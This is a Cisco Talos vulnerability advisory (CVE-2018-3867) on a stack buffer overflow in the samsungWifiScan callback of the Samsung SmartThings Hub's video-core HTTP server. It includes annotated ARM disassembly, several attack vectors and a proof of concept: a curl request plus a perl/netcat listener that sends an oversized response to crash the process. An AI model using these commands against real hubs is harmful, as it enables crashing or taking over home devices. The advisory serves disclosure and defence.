Talos Vulnerability Report

TALOS-2018-0549

Samsung SmartThings Hub video-core samsungWifiScan Callback Code Execution Vulnerability

July 26, 2018
CVE Number

CVE-2018-3867

Summary

An exploitable stack-based buffer overflow vulnerability exists in the samsungWifiScan callback notification of video-core's HTTP server of Samsung SmartThings Hub. The video-core process incorrectly handles the answer received from a smart camera, leading to a buffer overflow on the stack. An attacker can send a series of HTTP requests to trigger this vulnerability.

Tested Versions

Samsung SmartThings Hub STH-ETH-250 - Firmware version 0.20.17

Product URLs

https://shop.smartthings.com/products/samsung-smartthings-hub

CVSSv3 Score

9.9 - CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H

CWE

CWE-120: Buffer Copy without Checking Size of Input ('Classic Buffer Overflow')

Details

Samsung produces a series of devices aimed at controlling and monitoring a home, such as wall switches, LED bulbs, thermostats and cameras. One of those is the Samsung SmartThings Hub, a central controller which allows an end user to use their smartphone to connect to their house remotely and operate other devices through it. The hub board utilizes several systems on chips. The firmware in question is executed by an i.MX 6 SoloLite processor (Cortex-A9), which has an ARMv7-A architecture.

The firmware is Linux-based, and runs a series of daemons that interface with devices nearby via ethernet, ZigBee, Z-Wave and Bluetooth protocols. Additionally, the hubCore process is responsible for communicating with the remote SmartThings servers via a persistent TLS connection. These servers act as a bridge that allows for secure communication between the smartphone application and the hub. End users can simply install the SmartThings mobile application on their smartphone to control the hub remotely.

One of the features of the hub is that it connects to smart cameras, configures them and looks at their livestreams. For testing, we set up the Samsung SmartCam SNH-V6414BN on the hub. Once done, the livestream can be displayed by the smartphone application by connecting either to the remote SmartThings servers, or directly to the camera, if they're both in the same subnetwork.

Inside the hub, the livestream is handled by the video-core process, which uses ffmpeg to connect via RTSP to the smart camera in its same local network, and at the same time, provides a streamable link for the smartphone application.

The remote SmartThings servers have the possibility to communicate with the video-core process by sending messages in the persistent TLS connection, established by the hubCore process. These messages can encapsulate an HTTP request, which hubCore would relay directly to the HTTP server exposed by video-core. The HTTP server listens on port 3000, bound to the localhost address, so a local connection is needed to perform this request.

We identified a vulnerable request that can be exploited to achieve code execution on the video-core process, which is running as root. By requesting the path "/samsungWifiScan" it's possible to instruct the video-core process to discover a Samsung smart camera and notify the operation using a callback. As an example, consider this request:

$ curl -X POST 'http://127.0.0.1:3000/samsungWifiScan' -d '{"cameraIp":"<camera-ip>","user":"x","password":"x","callbackUrl":"http://<callback-ip>:<callback-port>/<path>"}'

Once received, video-core will send the following HTTP request to "camera-ip":

[1]
- video-core
GET /stw-cgi-rest/network/wifi/scan HTTP/1.1
Host: <camera-ip>:80
Accept: */*

- smart camera
<camera-http-response>

When the smart camera replies, video-core relays "camera-http-response" to the callback:

[2]
POST <path> HTTP/1.1
Host: <callback-ip>:<callback-port>
Accept: */*
Content-Type: application/json
X-ST-Application: Video-Core
X-ST-Version: 1.5.3
X-ST-Method: CALLBACK
X-ST-Class: WifiSurvey
Content-Location: /dev/
Content-Length: 72

{"stClass":"WifiSurvey", "WlanSurveyError":"<camera-http-response>"}

The request at [1] is generated by sub_45BEC:

.text:00045BEC     sub_45BEC
...
.text:00045D00 438        MOV             R1, #:lower16:aHttpSStwCgiRes    ; "http://%s/stw-cgi-rest/network/wifi/sca"...
.text:00045D04 438        ADD             R2, SP, #0x438+cameraIp
.text:00045D08 438        MOVT            R1, #:upper16:aHttpSStwCgiRes    ; "http://%s/stw-cgi-rest/network/wifi/sca"...
.text:00045D0C 438        ADD             R0, SP, #0x438+camera_url
.text:00045D10 438        BL              sprintf
.text:00045D14 438        ADD             R2, SP, #0x438+camera_url
.text:00045D18 438        MOV             R1, #0x2712
.text:00045D1C 438        MOV             R0, R4
.text:00045D20 438        BL              curl_easy_setopt
.text:00045D24 438        MOV             R1, #0x6B
.text:00045D28 438        MOV             R2, #2
.text:00045D2C 438        MOV             R0, R4
.text:00045D30 438        BL              curl_easy_setopt
.text:00045D34 438        MOV             R1, #0x27BD
.text:00045D38 438        ADD             R2, SP, #0x438+username
.text:00045D3C 438        MOV             R0, R4
.text:00045D40 438        BL              curl_easy_setopt
.text:00045D44 438        ADD             R2, SP, #0x438+password
.text:00045D48 438        MOV             R1, #0x27BE
.text:00045D4C 438        MOV             R0, R4
.text:00045D50 438        BL              curl_easy_setopt
.text:00045D54 438        MOV             R2, #:lower16:sub_458C8
.text:00045D58 438        MOV             R1, #0x4E2B
.text:00045D5C 438        MOVT            R2, #:upper16:sub_458C8
.text:00045D60 438        MOV             R0, R4
.text:00045D64 438        BL              curl_easy_setopt
.text:00045D68 438        ADD             R2, SP, #0x438+curl_data_buffer
.text:00045D6C 438        MOV             R1, #0x2711
.text:00045D70 438        MOV             R0, R4
.text:00045D74 438        BL              curl_easy_setopt                 ; [3]
.text:00045D78 438        MOV             R1, #0xD
.text:00045D7C 438        MOV             R2, #0x19
.text:00045D80 438        MOV             R0, R4
.text:00045D84 438        BL              curl_easy_setopt
.text:00045D88 438        MOV             R0, R4
.text:00045D8C 438        BL              curl_easy_perform                ; [4]
.text:00045D90 438        SUBS            R7, R0, #0
.text:00045D94 438        LDR             R3, [R5]
.text:00045D98 438        BEQ             loc_45EF8                        ; jump is taken
...
.text:00045EF8     loc_45EF8
.text:00045EF8 438        CMP             R3, #2
.text:00045EFC 438        BHI             loc_45FEC                        ; jump is taken
...
.text:00045F00     loc_45F00
.text:00045F00 438        ADD             R0, SP, #0x438+callbackUrl
.text:00045F04 438        LDR             R1, [SP,#0x438+curl_data_buffer] ; [5]
.text:00045F08 438        MOV             R2, #1
.text:00045F0C 438        BL              sub_45AA8                        ; [5]
...
.text:00045FEC     loc_45FEC
...
.text:00046028 438        BL              log
.text:0004602C 438        B               loc_45F00

We can see that libcurl is used to send an HTTP request to the chosen "camera-ip". A buffer for storing the smart camera's answer is specified at [3]. After calling curl_easy_perform [4], the response is passed as second argument to sub_45AA8 [5].

.text:00045AA8     sub_45AA8
.text:00045AA8
.text:00045AA8     var_910         = -0x910
.text:00045AA8     var_90C         = -0x90C
.text:00045AA8     var_904         = -0x904
.text:00045AA8     s               = -0x724
.text:00045AA8     var_718         = -0x718
.text:00045AA8     var_714         = -0x714
.text:00045AA8     var_710         = -0x710
.text:00045AA8     var_708         = -0x708
.text:00045AA8     var_6F4         = -0x6F4
.text:00045AA8     sprintf_dest    = -0x6E0
.text:00045AA8
.text:00045AA8 000        STMFD           SP!, {R4-R7,LR}
.text:00045AAC 014        SUB             SP, SP, #0x8F0
.text:00045AB0 904        SUB             SP, SP, #0xC
.text:00045AB4 910        MOV             R6, R1                        ; [8]
.text:00045AB8 910        MOV             R4, R2
.text:00045ABC 910        MOV             R5, R0
.text:00045AC0 910        MOV             R1, #0
.text:00045AC4 910        MOV             R2, #0x70C
.text:00045AC8 910        ADD             R0, SP, #0x910+s
.text:00045ACC 910        MOV             R7, #8
.text:00045AD0 910        BL              memset
.text:00045AD4 910        MOV             R3, #:lower16:aCallback       ; "CALLBACK"
.text:00045AD8 910        MOV             R12, #:lower16:aWifisurvey    ; "WifiSurvey"
.text:00045ADC 910        MOVT            R3, #:upper16:aCallback       ; "CALLBACK"
.text:00045AE0 910        MOVT            R12, #:upper16:aWifisurvey    ; "WifiSurvey"
.text:00045AE4 910        LDMIA           R3, {R0-R2}                   ; "CALLBACK"
.text:00045AE8 910        ADD             LR, SP, #0x910+var_6F4
.text:00045AEC 910        ADD             R3, SP, #0x910+var_708
.text:00045AF0 910        CMP             R4, #0
.text:00045AF4 910        MOV             R4, #0xA
.text:00045AF8 910        STR             R7, [SP,#0x910+var_714]
.text:00045AFC 910        STR             R4, [SP,#0x910+var_718]
.text:00045B00 910        ADD             R4, SP, #0x910+sprintf_dest   ; [9]
.text:00045B04 910        STMIA           LR!, {R0,R1}
.text:00045B08 910        STRB            R2, [LR]
.text:00045B0C 910        LDMIA           R12, {R0-R2}                  ; "WifiSurvey"
.text:00045B10 910        STMIA           R3!, {R0,R1}
.text:00045B14 910        MOVEQ           R0, R4                        ; [9]
.text:00045B18 910        MOV             R1, R2,LSR#16
.text:00045B1C 910        STRH            R2, [R3],#2
.text:00045B20 910        MOVNE           R0, R4                        ; [9]
.text:00045B24 910        STRB            R1, [R3]
.text:00045B28 910        MOVEQ           R1, #0x3AF0
.text:00045B2C 910        MOVNE           R1, #:lower16:aStclassWifis_0 ; "{\"stClass\":\"WifiSurvey\", \"WlanSurv"...
.text:00045B30 910        MOVTEQ          R1, #:upper16:aStclassWifis_0 ; "{\"stClass\":\"WifiSurvey\", \"WlanSurv"...
.text:00045B34 910        MOVTNE          R1, #0xC
.text:00045B38 910        MOVEQ           R2, R6                        ; [8]
.text:00045B3C 910        MOVNE           R2, R6                        ; [8]
.text:00045B40 910        BL              sprintf                       ; [7]
.text:00045B44 910        MOV             R0, R4
.text:00045B48 910        BL              strlen
.text:00045B4C 910        ADD             R1, SP, #0x910+s
.text:00045B50 910        STR             R0, [SP,#0x910+var_710]
.text:00045B54 910        MOV             R0, R5
.text:00045B58 910        BL              notify_via_callback_url       ; [6]

This function is generating the POST request at [2], which is eventually dispatched at [6]. The POST data is created by calling sprintf [7] and passing the unconstrained smart camera's response [8]. Since the destination buffer is on the stack [9], this can be exploited to execute arbitrary code.

We identified two different vectors that allow for exploiting this vulnerability:

  • Anyone able to impersonate the remote SmartThings servers can send arbitrary HTTP requests to hubCore that would be relayed without modification to the vulnerable video-core process.
  • SmartThings SmartApps allow for creating custom applications that can be either published directly into the device itself or on the public marketplace. A SmartApp is executed inside the hubCore process and is allowed to make any localhost connection. It is thus possible for a SmartApp to send arbitrary HTTP requests directly to the vulnerable video-core process.

A third vector might exist, which we didn't test. This would consist of sending a malicious request from the SmartThings mobile application to the remote SmartThings servers. In turn, depending on the remote APIs available, the servers could relay the malicious payload back to the device via the persistent TLS connection. To use this vector, an attacker would need to own a valid OAuth bearer token, or the relative username and password pair to obtain it.

Moreover, note that this vulnerability could also be exploited without prior authentication when an attacker has the possibility to wait for a camera discovery to happen, or when able to trigger a discovery through other means.

Exploit Proof of Concept

The following proof of concept shows how to crash the video-core process:

# using curl from inside the hub, but the same request could be sent using a SmartApp
$ curl -X POST 'http://127.0.0.1:3000/samsungWifiScan' -d "{\"cameraIp\":\"${sAttackerIP}:${sAttackerPort}\"}"

# on the attacker machine
$ perl -e 'print "A"x0x700' | nc -l -p ${sAttackerPort}

Once the netcat connection is closed, video-core should crash.

Timeline

2018-03-28 - Vendor Disclosure
2018-05-23 - Discussion with vendor/review of timeline for disclosure
2018-07-17 - Vendor patched
2018-07-26 - Public Release

Credit

Discovered by Claudio Bozzato of Cisco Talos.